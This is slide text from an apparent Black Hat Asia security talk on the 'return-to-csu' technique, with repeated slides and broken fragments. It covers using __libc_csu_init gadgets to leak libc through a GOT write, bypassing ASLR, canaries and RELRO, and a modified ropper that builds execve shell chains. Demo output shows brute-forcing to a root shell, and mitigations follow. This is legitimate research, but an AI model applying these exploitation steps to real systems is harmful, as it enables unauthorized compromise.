- Basic interaction of any program
 - read() /write() or send() /recv()

3. Return-to-csu: looking for a destination

4) Info leak with a µROP : Reusing the connection

Attached Code

Basic sever calling read() / write() only

```
$ objdump -d --section=.plt simple
simple:      file format elf64-x86-64

Disassembly of section .plt:

0000000000005d0 <.plt>:
5d0: ff 35 d2 09 20 00    pushq   0x2009d2(%rip)
5d6: ff 25 d4 09 20 00    jmpq    *0x2009d4(%rip)
5dc: 0f 1f 40 00          nopl    0x0(%rax)

0000000000005f0 <write@plt>:
5f0: ff 25 ca 09 20 00    jmpq    *0x2009ca(%rip)
5f6: 68 01 00 00 00        pushq   $0x1
5fb: e9 d0 ff ff ff       jmpq    5d0 <.plt>
...     ...
000000000000610 <read@plt>:
610: ff 25 ba 09 20 00    jmpq    *0x2009ba(%rip)
616: 68 03 00 00 00        pushq   $0x3
61b: e9 b0 ff ff ff       jmpq    5d0 <.plt>
```

3. Return-to-csu: looking for a destination

4) Info leak with a µROP : Reusing the connection

Attached Code

Basic sever calling read()/write() only

```
$ objdump -d --section=.plt simple
simple:      file format elf64-x86-64

Disassembly of section .plt:

0000000000005d0 <.plt>:
5d0:  ff 35 d2 09 20 00    pushq   0x2009d2(%rip)
5d6:  ff 25 d4 09 20 00    jmpq    *0x2009d4(%rip)
5dc:  0f 1f 40 00          nopl    0x0(%rax)

0000000000005f0 <write@plt>:
5f0:  ff 25 ca 09 20 00    jmpq    *0x2009ca(%rip)
5f6:  68 01 00 00 00        pushq   $0x1
5fb:  e9 d0 ff ff ff      jmpq    5d0 <.plt>
...
000000000000610 <read@plt>:
610:  ff 25 ba 09 20 00    jmpq    *0x2009ba(%rip)
616:  68 03 00 00 00        pushq   $0x3
61b:  e9 b0 ff ff ff      jmpq    5d0 <.plt>
```

write@plt(int, void *, size_t);

- 1st arg: file descriptor (fd) 😊
- 2nd arg: buffer to write (*buff) 😕
- 3rd arg: Bytes to write (count) 😊

3. Return-to-csu: looking for a destination

4) Info leak with a µROP : Reusing the connection

```
write@plt(int, void *, size_t);
```

- 1st arg: file descriptor (fd)
- 2nd arg: buffer to write (*buff)
- 3rd arg: Bytes to write (count)

Re-use the fd from accept ()



- We are connected to the server
- Therefore there is a fd *connected* to us
- If we write into that fd we'll see the content
- It is an integer value we can predict

3. Return-to-csu: looking for a destination

4) Info leak with a µROP : Reusing the connection

```
write@plt(int, void *, size_t);
```

1st arg: file descriptor (fd)

2nd arg: buffer to write (*buff)

3rd arg: Bytes to write (count)

Re-use the fd from accept ()



- We are connected to the server
- Therefore there is a fd *connected* to us
- If we write into that fd we'll see the content
- It is an integer value we can predict

We can put any value (addr) here but:



- The *addr must be useful
- This is exactly how the GOT looks!
- GOT is located in the **Attached Code**
- It is an array containing lib addresses!

3. Return-to-csu: looking for a destination

4) Info leak with a µROP : Reusing the connection

```
write@plt(int, void *, size_t);
```

1st arg: file descriptor (fd)

2nd arg: buffer to write (*buff)

3rd arg: Bytes to write (count)

Re-use the fd from accept ()

- We are connected to the server
- Therefore there is a fd *connected* to us
- If we write into that fd we'll see the content
- It is an integer value we can predict



Bytes to be written:

- Unsigned integer that we fully control

We can put any value (addr) here but:

- The *addr must be useful
- This is exactly how the GOT looks!
- GOT is located in the **Attached Code**
- It is an array containing lib addresses!



3. Return-to-csu: Info leak with a µROP

4) Info leak with a µROP : De-randomizing libraries

- Direct libc de-randomization

Leaking write() address example

```
write@plt(4, &GOT_TABLE[1], 8);
```

fd = 4

Assuming that accept() returned 4

- We just need to set fd to 4

3. Return-to-CSU: Info leak with a µROP

4) Info leak with a µROP : De-randomizing libraries

- Direct libc de-randomization

Leaking write() address example

```
write@plt(4, &GOT_TABLE[1], 8);
```

fd = 4

Assuming that accept() returned 4

- We just need to set fd to 4

buff = &GOT_TABLE[1]

To leak where the libc is:

- The addr will point to the GOT_TABLE[1]
Then *addr will contain write() address
- Therefore the libc is de-randomized

3. Return-to-CSU: Info leak with a µROP

4) Info leak with a µROP : De-randomizing libraries

- Direct libc de-randomization

Leaking write() address example

```
write@plt(4, &GOT_TABLE[1], 8);
```

fd = 4

Assuming that accept() returned 4

- We just need to set fd to 4

buff = &GOT_TABLE[1]

To leak where the libc is:

- The addr will point to the GOT_TABLE[1]
- Then *addr will contain write() address
- Therefore the libc is de-randomized

Attached Code

```
0000000000005d0 <.plt>:  
5d0: ff 35 d2 09 20 00 pushq 0x2009d2(%rip)  
5d6: ff 25 d4 09 20 00 jmpq *0x2009d4(%rip)  
5dc: 0f 1f 40 00 nopl 0x0(%rax)  
  
0000000000005f0 <write@plt>:  
5f0: ff 25 ca 09 20 00 jmpq *0x2009ca(%rip)  
5f6: 68 01 00 00 00 pushq $0x1  
5fb: e9 d0 ff ff ff jmpq 5d0 <.plt>  
...  
000000000000610 <read@plt>:  
610: ff 25 ba 09 20 00 jmpq *0x2009ba(%rip)  
616: 68 03 00 00 00 pushq $0x3  
61b: e9 b0 ff ff ff jmpq 5d0 <.plt>
```

3. Return-to-CSU: Info leak with a µROP

4) Info leak with a µROP : De-randomizing libraries

- Direct libc de-randomization

Leaking write() address example

```
write@plt(4, &GOT_TABLE[1], 8);
```

fd = 4

Assuming that accept() returned 4

- We just need to set fd to 4

buff = &GOT_TABLE[1]

To leak where the libc is:

- The addr will point to the GOT_TABLE[1]
- Then *addr will contain write() address
- Therefore the libc is de-randomized

count = 8

Bytes to be written/leaked:

- Addresses in 64 bits = 8 bytes

Attached Code

```
0000000000005d0 <.plt>:
5d0: ff 35 d2 09 20 00 pushq 0x2009d2(%rip)
5d6: ff 25 d4 09 20 00 jmpq *0x2009d4(%rip)
5dc: 0f 1f 40 00 nopl 0x0(%rax)

0000000000005f0 <write@plt>:
5f0: ff 25 ca 09 20 00 jmpq *0x2009ca(%rip)
5f6: 68 01 00 00 00 pushq $0x1
5fb: e9 d0 ff ff ff jmpq 5d0 <.plt>
...
000000000000610 <read@plt>:
610: ff 25 ba 09 20 00 jmpq *0x2009ba(%rip)
616: 68 03 00 00 00 pushq $0x3
61b: e9 b0 ff ff ff jmpq 5d0 <.plt>
```

3. Return-to-CSU: Info leak with a µROP

4) Info leak with a µROP : De-randomizing libraries

- Direct libc de-randomization

Leaking write() address example

```
write@plt(4, &GOT_TABLE[1], 8);
```

fd = 4

Assuming that accept() returned 4
 • We just need to set fd to 4

Attached Code

```
0000000000005d0 <.plt>:
5d0: ff 35 d2 09 20 00
5d6: ff 25 d4 09 20 00
5dc: 0f 1f 40 00

0000000000005f0 <write@plt>:
5f0: ff 25 ca 09 20 00
5f6: 68 01 00 00 00
5fb: e9 d0 ff ff ff
...
000000000000610 <read@plt>:
610: ff 25 ba 09 20 00
616: 68 03 00 00 00
61b: e9 b0 ff ff ff
```

Server is sending us where
 write() is loaded
 libc de-randomized!!!!

pushq \$0x1
jmpq 5d0 <.plt>
...
jmpq *0x2009ba(%rip)
pushq \$0x3
jmpq 5d0 <.plt>

GOT_TABLE[1]

libc is:
 Set to the GOT_TABLE[1]
 contain write() address
 libc is de-randomized

fd = 4
count = 8
Bytes to be written/leaked:
 • Addresses in 64 bits = 8 bytes

3. Return-to-csu: Building the final attack

#BHASIA

5) Building the final full-ROP attack: Getting a shell

- Using the `libc` is trivial to generate full-ROP chains
- Tools now can create automatic full-ROP chains
- We can execute arbitrary code

The attack in two stages:

Stage 1: Create a μ ROP-chain payload to leak a `libc` address

- Attackers will receive where the `libc` is in memory


Stage 2: Create a second payload using the input of the stage 1

- This ROP-chain uses all `libc`


3. Return-to-csu: Building the final attack

5) Building the final full-ROP attack: return-to-csu in a stack buffer overflow


Stage 1: Payload to leak `write()` address



Stage 2: Payload to create a full ROP-chain to execute arbitrary code



3. Return-to-csu: When can we use return-to-csu




Note: Per boot-ASLRs == Forking Server

3. Return-to-csu: Enriching automatic tools

Why automatic tools like `ropper` and `ropshell.com` failed?

- Automatic ROP-chain generation are clever but have limitations
- They are focused on profitable gadgets and try to link them
- In this case they didn't find Gadget 2 which was key
 - Probably because `r13,r14` and `r15` are in `movs` and not in `pops`
 - A better knowledge about which registers we control will improve these tools



When advanced ROP tools say “there are not enough gadgets” it is **not always** true. A manual inspection can reveal valid gadgets.

4. Making return-to-csu attack profitable

We have modified ropper to support return-to-csu

- New support for dup2() rop chain generation
- New support for execve() with ({“bash”, “i”, NULL}, NULL) as args

```
$ ./Ropper.py -help
example uses:
./Ropper.py --file /bin/ls --info
./Ropper.py --file /bin/ls --imports
./Ropper.py --file /bin/ls --sections
./Ropper.py --file /bin/ls --segments
./Ropper.py --file /bin/ls --set nx
./Ropper.py --file /bin/ls --unset nx
...
./Ropper.py --file /home/BH/server --ret2csu "fd=0x4"
./Ropper.py --file /bin/ls /lib/libc.so.6 --console
...
```


return-to-csu DEMO

To show a more realistic PoC:

We bypass NX, SSP, ASLR, FORTIFY and RELRO in a fully updated Linux.

Parameter	Comment	Configuration
App. relocatable	Yes	-fpie -pie
Lib. relocatable	Yes	-Fpic
ASLR config.	Enabled	randomize_va_space = 2
SSP	Enabled	-fstack-protector-all
Arch.	64 bits	x86_64 GNU/Linux
NX	Enabled	PAE or x64
RELRO	Full	-Wl,-z,relro,-z,now
FORTIFY	Yes	-D_FORTIFY_SOURCE=2
Optimization	Yes	-O2

5. DEMO: return-to-csu



root@box:~

```
.....Exit child
.....Exit child
.....Exit child
.....Exit child
```

test@box:~

```
[+] Offset is 56 bytes
[+] Brute forcing stack canary
[+] SSP value is 0xb59d2363bd8ceb00
[+] Brute forcing RBP
[+] EBP value is 0x0000000000000000
[+] Brute forcing Saved RIP
[+] RIP value is 0x00007fe2ff8b62cb
[+] Text Base at 0x00007fe2ff8b5000
[+] Libc Base at 0x00007fe2ff2ca000
[+] Getting shell ...
root@bruto:/root# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bruto:/root# touch hello
touch hello
root@bruto:/root# ls -l hello
ls -l hello
-rw-r--r-- 1 root root 0 Dec 1 21:14 hello
root@bruto:/root# pwd
pwd
/root
root@bruto:/root# whoami
whoami
root
```

root@box:~

```
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
*** stack smashing detected ***: ./server_64 PIE SSP terminated
*** stack smashing detected ***: ./server_64_PIE_SSP terminated
```

test@box:~


```
test@box:~ $ ./exploit-server_64_PIE-renewssp.py -s localhost -p 9998
[+] Exploit ASLR 64 bit systems
[+] Trying to find out the canary offset
Offset is 56 bytes
forcing stack canary
ing SSP value: 0x0000000007547a00
```

1:38 2:27

6. Mitigations and solutions

Mitigation 1: Move some of the gadgets to libc

- The attack needs the 3 gadgets otherwise it will fail
- Applications must be recompiled
- We have implemented a path to move **Gadget 2** to libc




Without Gadget 2 the Stage 1 ROP-chain will fail

6. Mitigations and solutions

Mitigation 2: Update libc to remove the gadget

- Manipulate the source code affecting some gadgets
- Updating Gadget 2 to use different register in the call
- We have patched libc to replace `callq *(%r12,%rbx,8)` by `callq *(%rcx,%rax,8)`



Without the control of the `callq` the Stage 1 ROP-chain will fail

Mitigation 3: Patching the current applications

- If we don't have the source code we can patch the ELF to remove gadgets
- This mitigation can be applied to all already installed executables

Two flavors:

1. Overwrite with zeros `libc_csu_init()` right before `main()`
 - Not clean approach: need to deal with page protections,
 - The added code could be abused by attackers like `libc_csu_init()`
2. Patch the ELF to replace *bad opcodes* by ones without the gadget
 - We created `r2csu-patch`: A small C program to replace *bad opcodes*
 - The resulting ELF is 100% compatible and introduces minor changes


6. Mitigations and solutions

The desired solution is to move all code to libc (ld.so)

- This will stop the return-to-csu attack
- All executable code would be user-controllable
 - Compiler protections: SSP, FORTIFY, etc.

This solution is hardly applicable in real life

- Backward compatibility: Executables with the attached code will execute it twice (`libc` and executable). New `libc` call to avoid this.
- All sections can not be moved: `.plt .got`
 - Lazy binding requires use of the `.plt`
 - Eliminating `.plt` stubs require `.got` loads
 - Global variables from shared libraries (`R_386_GLOB_DAT`) need `.got`



6. Mitigations and solutions

How did we find it?

00000000000013c0 <__libc_csu_init>:

```

13c0: 48 89 6c 24 d8    mov    %rbp,-0x28(%rsp)
13c5: 4c 89 64 24 e0    mov    %r12,-0x20(%rsp)
13ca: 48 8d 2d ff 09 20 00 lea    0x2009ff(%rip),%rbp
13d1: 4c 8d 25 f0 09 20 00 lea    0x2009f0(%rip),%r12      # 201dd0 <_init_array_end>
13d8: 4c 89 6c 24 e8    mov    %r13,-0x18(%rsp)          # 201dc8 <_frame_du....
13dd: 4c 89 74 24 f0    mov    %r14,-0x10(%rsp)
13e2: 4c 89 7c 24 f8    mov    %r15,-0x8(%rsp)
13e7: 48 89 5c 24 d0    mov    %rbx,-0x30(%rsp)
13ec: 48 83 ec 38    sub    $0x38,%rsp
13f0: 4c 29 e5    sub    %r12,%rbp
13f3: 41 89 fd    mov    %edi,%r13d
13f6: 49 89 f6    mov    %rsi,%r14
13f9: 48 c1 fd 03    sar    $0x3,%rbp
13fd: 49 89 d7    mov    %rdx,%r15
1400: e8 53 f7 ff ff  callq b58 <_init>
1405: 48 85 ed    test   %rbp,%rbp
1408: 74 1c    je    1426 <__libc_csu_init+0x66>
140a: 31 db    xor    %ebx,%ebx
140c: 0f 1f 40 00  nopl   0x0(%rax)
1410: 4c 89 fa    mov    %r15,%rdx
1413: 4c 89 f6    mov    %r14,%rsi
1416: 44 89 ef    mov    %r13d,%edi
1419: 41 ff 14 dc  callq *(%r12,%rbx,8)      → r12 →
141d: 48 83 c3 01  add    $0x1,%rbx
1421: 48 39 eb    cmp    %rbp,%rbx
1424: 75 ea    jne   1410 <__libc_csu_init+0x50>
1426: 48 8b 5c 24 08  mov    0x8(%rsp),%rbx
142b: 48 8b 6c 24 10  mov    0x10(%rsp),%rbp
1430: 4c 8b 64 24 18  mov    0x18(%rsp),%r12
1435: 4c 8b 6c 24 20  mov    0x20(%rsp),%r13
143a: 4c 8b 74 24 28  mov    0x28(%rsp),%r14
143f: 4c 8b 7c 24 30  mov    0x30(%rsp),%r15
1444: 48 83 c4 38  add    $0x38,%rsp
1448: c3    retq
1449: 0f 1f 80 00 00 00 00  nopl   0x0(%rax)

```

Handwritten notes and annotations:

- Annotations highlight specific assembly instructions and registers.
- A red box labeled "cuidado" is placed over the instruction at address 13f9.
- Red arrows point from the handwritten notes to specific assembly instructions.
- Handwritten text includes:
 - "Ponemos R1 valor de la q. de write"
 - "b control"
 - "(1) → r12 apunta a l.pop + ret"
 - "(2) ponemos en [rdx] b ju"
 - "hacer punto en [r15]"
 - "Full control"
 - "rbx"

6. Conclusions and Black Hat Sound Bytes

- `return-to-csu` is a method to automate the construction of exploits to bypass the ASLR in 64-bit systems.
- To go beyond automatic tools: Manual inspection for rare gadget detection
 - We showed why we can't trust these tools. They hid the *best* gadget.
- We presented how to use a μ ROP to leak arbitrary memory content by abusing of minimal code always present.
- The “attached code” invalidates other security techniques:
 - Instruction-set randomization; the executable contains code not randomized
 - Security options from compiler: SSP, FORTIFY, etc.
- We have presented some workarounds to prevent abuse of these gadgets
- The ideal solution would be to move the “attached code” to libc
 - The executable should contain only the code generated by application

Thank you for your time Questions?



Dr. Hector Marco

<http://hmarco.org>

hmarco@hmarco.org



Dr. Ismael Ripoll

<http://personales.upv.es/iripoll>

iripoll@disca.upv.es